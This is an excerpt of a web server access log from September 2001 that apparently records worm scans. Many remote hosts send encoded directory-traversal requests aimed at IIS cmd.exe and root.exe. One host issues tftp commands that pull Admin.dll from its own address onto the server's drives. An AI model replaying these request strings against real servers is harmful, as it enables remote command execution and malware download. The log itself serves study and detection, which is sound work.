  6666. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6667. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6668. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6669. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6670. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6671. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6672. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6673. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6674. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6675. 20010918 21:24:28:  [210.199.161.165] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6676. 20010918 21:26:44:  [210.199.161.165] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6677. 20010918 21:27:04:  [210.199.161.165] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6678. 20010918 21:27:24: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6679. 20010918 21:27:24: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6680. 20010918 21:27:25: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6681. 20010918 21:27:26:  [210.199.161.165] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6682. 20010918 21:27:44: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6683. 20010918 21:27:44: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6684. 20010918 21:27:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6685. 20010918 21:27:45: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6686. 20010918 21:27:46:  [210.199.161.165] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6687. 20010918 21:28:04: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6688. 20010918 21:28:04: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6689. 20010918 21:28:04: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6690. 20010918 21:28:05: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6691. 20010918 21:28:05:  [210.199.161.165] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6692. 20010918 21:28:24: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6693. 20010918 21:28:24: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6694. 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6695. 20010918 21:28:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6696. 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  6697. 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0"
  6698. 20010918 21:28:25:  [210.199.161.165] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6699. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6700. 20010918 21:28:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6701. 20010918 21:28:45: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6702. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  6703. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0"
  6704. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6705. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6706. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6707. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6708. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0"
  6709. 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6710. 20010918 21:28:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6711. 20010918 21:28:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6712. 20010918 21:28:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6713. 20010918 21:28:47: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6714. 20010918 21:28:47:  [210.199.161.165] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6715. 20010918 21:29:05: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6716. 20010918 21:29:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6717. 20010918 21:29:05: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6718. 20010918 21:29:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0"
  6719. 20010918 21:29:06: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6720. 20010918 21:29:06:  [210.199.161.165] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6721. 20010918 21:29:24: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6722. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6723. 20010918 21:29:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6724. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6725. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6726. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6727. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  6728. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6729. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6730. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6731. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6732. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  6733. 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6734. 20010918 21:29:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6735. 20010918 21:29:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6736. 20010918 21:29:26: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6737. 20010918 21:29:26:  [210.199.161.165] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6738. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6739. 20010918 21:29:44: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6740. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6741. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  6742. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6743. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6744. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6745. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6746. 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  6747. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6748. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6749. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6750. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6751. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  6752. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6753. 20010918 21:29:45: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6754. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6755. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6756. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6757. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  6758. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6759. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6760. 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6761. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6762. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  6763. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6764. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6765. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6766. 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6767. 20010918 21:29:46: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6768. 20010918 21:29:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  6769. 20010918 21:29:49:  [210.199.161.165] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6770. 20010918 21:30:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6771. 20010918 21:30:07: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6772. 20010918 21:30:08: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6773. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6774. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6775. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6776. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  6777. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6778. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6779. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6780. 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6781. 20010918 21:30:09: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6782. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  6783. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6784. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6785. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6786. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6787. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  6788. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6789. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6790. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6791. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6792. 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  6793. 20010918 21:30:10: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6794. 20010918 21:30:10: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6795. 20010918 21:30:11: emly-75.res.umass.edu [128.119.106.75] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6796. 20010918 21:30:12: emly-75.res.umass.edu [128.119.106.75] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6797. 20010918 21:30:12: emly-75.res.umass.edu [128.119.106.75] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6798. 20010918 21:30:13:  [210.199.161.165] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6799. 20010918 21:30:31: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6800. 20010918 21:30:31:  [210.199.161.165] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6801. 20010918 21:30:51: emly-75.res.umass.edu [128.119.106.75] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6802. 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6803. 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6804. 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6805. 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6806. 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6807. 20010918 21:30:51: emly-75.res.umass.edu [128.119.106.75] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6808. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6809. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6810. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6811. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6812. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6813. 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6814. 20010918 21:30:52: emly-75.res.umass.edu [128.119.106.75] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6815. 20010918 21:30:52: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6816. 20010918 21:30:53:  [210.199.161.165] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6817. 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6818. 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6819. 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6820. 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6821. 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6822. 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6823. 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6824. 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6825. 20010918 21:31:12:  [210.199.161.165] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6826. 20010918 21:31:30: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6827. 20010918 21:31:30: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6828. 20010918 21:31:31:  [210.199.161.165] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6829. 20010918 21:31:49: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
